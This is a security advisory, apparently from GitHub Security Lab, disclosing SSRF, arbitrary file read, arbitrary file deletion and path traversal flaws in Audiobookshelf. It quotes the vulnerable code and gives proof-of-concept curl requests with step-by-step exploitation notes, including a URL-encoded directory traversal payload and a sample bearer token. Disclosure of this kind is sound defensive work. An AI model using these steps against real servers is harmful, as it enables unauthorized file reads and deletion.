Coordinated Disclosure Timeline
- 2023-10-01: Report submitted to maintainer
- 2023-11-01: Advisory Published
Summary
Audiobookshelf is vulnerable to server-side request forgery (SSRF), arbitrary file read (AFR) and arbitrary file deletion (AFD) depending on the permissions of the user.
Project
audiobookshelf
Tested Version
Details
Issue 1: SSRF and Arbitrary File Read in AuthorController.js
(GHSL-2023-203
)
Users with the update permission are able to read arbitrary files, delete arbitrary files and send a GET request to arbitrary URLs and read the response.
const payload = req.body // <---- imagePath comes from req.body without sanitization
if (payload.imagePath !== undefined && payload.imagePath !== req.author.imagePath) {
if (!payload.imagePath && req.author.imagePath) {
await CacheManager.purgeImageCache(req.author.id)
await CoverManager.removeFile(req.author.imagePath) // <---- imagePath is passed to removeFile
} else if (payload.imagePath.startsWith('http')) {
const imageData = await AuthorFinder.saveAuthorImage(req.author.id, payload.imagePath) // <---- imagePath is used to make a GET request and its response is saved
if (imageData) {
if (req.author.imagePath) {
await CacheManager.purgeImageCache(req.author.id)
}
payload.imagePath = imageData.path
hasUpdated = true
}
} else if (payload.imagePath && payload.imagePath !== req.author.imagePath) {
if (!await fs.pathExists(payload.imagePath)) { // < ---- only check for existence of path, thus specifying any local file will result in file read
Logger.error(`[AuthorController] Image path does not exist: "${payload.imagePath}"`)
return res.status(400).send('Author image path does not exist')
}
if (req.author.imagePath) {
await CacheManager.purgeImageCache(req.author.id)
}
}
}
Impact
This issue may lead to Information Disclosure
.
Resources
SSRF
- In order to exploit SSRF, first send a request with the url of the file you wish to download. Curl is messy, so I would just go into the UI and click to edit the author’s image and put in the desired url which will send a PATCH request to
/api/authors/author-id
. - Download the file from
api/authors/author-id/image
with the following command:
curl -i -s -k -X $'GET' \
-H $'Host: localhost:3333' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2NmFjZTUxNy01NGJmLTRjYmUtYTBlZC05ZWZkMzZhNWI5NmMiLCJ1c2VybmFtZSI6InRlc3RlciIsImlhdCI6MTY5NTg0ODQ4Mn0.rvF1kTKXHMsjPYV_PtvMnCKNgvXxNrTDTiOIh8yz0hE' -H $'Content-Length: 2' \
--data-binary $'\x0d\x0a' \
$'http://localhost:3333/api/authors/40913999-5739-4c84-bff0-93f9b34a08ef/image?token=JWT_TOKEN&raw=true'
Arbitrary File Deletion
- In order to exploit arbitrary file deletion, first send a request with the path to the file you wish to delete. Curl is messy, so I would just go into the UI and click to edit the author’s image and put in the path to the file you wish to delete which will send a PATCH request to
/api/authors/author-id
. - Then, go into the UI and click to edit the author’s image and put in nothing which will send a PATCH request to
/api/authors/author-id
with an empty imagePath, deleting the file.
Issue 2: Arbitrary File Read in HlsRouter.js
(GHSL-2023-204
)
Any user (regardless of their permissions) may be able to read files from the local file system due to a path traversal in the /hls
endpoint.
var streamId = req.params.stream
var fullFilePath = Path.join(this.playbackSessionManager.StreamsPath, streamId, req.params.file)
var exists = await fs.pathExists(fullFilePath)
res.sendFile(fullFilePath)
Impact
This issue may lead to Information Disclosure
.
Resources
Proof of Concept:
curl -i -s -k -X $'GET' \
-H $'Host: localhost:3333' -H $'Accept: application/json, text/plain, */*' -H $'Authorization: Bearer JWT TOKEN' -H $'Content-Length: 2' \
--data-binary $'\x0d\x0a' \
$'http://localhost:3333/hls/whatever/..%2F..%2F..%2F..%2F..%2F..%2F(url encoded full path here)'
Note: The %2F
s are URL-encoded forward slashes (/
) to prevent confusion with the express regex parser. After traversing back enough directories, we can input the URL-encoded full path of the file we wish to access.
Credit
These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings). These issues were discovered with the help of CodeQL’s SSRF and Path Injection queries.
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-203
or GHSL-2023-204
in any communication regarding these issues.